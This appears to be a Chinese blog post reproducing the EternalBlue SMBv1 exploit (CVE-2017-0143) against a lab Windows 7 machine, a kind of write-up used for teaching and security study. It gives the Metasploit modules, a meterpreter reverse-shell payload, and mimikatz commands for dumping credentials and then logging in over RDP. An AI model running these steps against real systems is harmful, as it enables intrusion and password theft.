CVE-2017-0143(远程溢出)漏洞复现
一、漏洞原理
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt
在处理FEA(File Extended Attributes)
转换时,在大非分页池(Large Non-Paged Kernel Pool)
上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt
在将FEA list
转换成NTFEA(Windows NT FEA) list
前会调用srv!SrvOs2FeaListSizeToNt
去计算转换后的FEA lsit
的大小,因计算大小错误,而导致缓冲区溢出。
二、影响版本
Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
三、漏洞利用
在现在来说永恒之蓝漏洞算是有点老的漏洞了,Metasploit上已经有集成payload了,但是其危害确实是很大的,因为只要用它打进去似乎直接就是system权限,所以还是拿出来复现了一下。这里我搭的环境是win7,之前用过winxp做环境,结果也是一样的(直接system)。本来这次是打算用win8作为实验环境的,但是在最后用payload去exploit的时候一直回显超时(但是攻击机是ping得通win8机子的,并且扫描模块也显示搭的win8有cve-2017-0143漏洞),所以就换成了win7。不管是用哪种操作系统做环境,前提都要是没打cve-2017-0143漏洞的补丁
的,不然怎么样都是白搞。
1.环境
攻击机:kali(192.168.123.31)
目标机:win7(192.168.123.79)
2.漏洞利用
端口扫描查看目标机开455端口没,没开就不用考虑下一步了nmap -sS 192.168.123.79
然后就是直接启用msf,去查cve-2017-0143的集成模块search cve-2017-0143
然后先用扫描模块扫描一下目标机的永恒之蓝漏洞能不能用use auxiliary/scanner/smb/smb_ms17_010
该设置什么参数就都设置上
是能看到目标机上的永恒之蓝漏洞是可以利用的,接下来就是使用攻击模块了
use exploit/windows/smb/ms17_010_eternalblue
同时选择载荷(shellcode),我用的是回连至客户端(shell)的payload
set payload windows/x64/meterpreter/reverse_tcp
然后就是该配置啥参数就配置啥参数
这里我用的本地监听端口是8888,默认是4444,然后直接run
就行了
这里能看到进来直接就是system权限。
3.如果目标机还开了3389端口的话,还可以尝试去获取用户登录密码。
先用hashdum
p获取hash值。mimikatz
是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等,meterpreter中正集成了这款工具。
执行load mimikatz
即可加载该工具,然后运行命令msv
,导出hash
然后执行kerberos
就能拿到用户登录密码了
拿到用户登录的账户密码就可以尝试远程连接了,如果连接请求被拦截了,可以尝试将端口转发到攻击机的本地端口进行连接
rdesktop 127.0.0.1 -u 用户名 -p 密码
然后就能弹回目标机的桌面了。
推荐阅读
-
Windows CVE-2019-0708 远程桌面代码执行漏洞复现
-
「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现
-
AlsaPlayer 存在处理远程缓冲区溢出漏洞
-
php5.2.3远程CGI缓冲溢出漏洞
-
Livebox TP路由器远程溢出拒绝服务漏洞
-
MailEnable IMAP服务含远程溢出及空指针引用漏洞
-
Borland StarTeam 含多个远程溢出及拒绝服务漏洞
-
Webmin远程命令执行漏洞(CVE-2019-15107 )复现
-
CVE-2019-15107 Webmin远程命令执行漏洞复现
-
Webmin 远程命令执行漏洞(CVE-2019-15107)——vulhub漏洞复现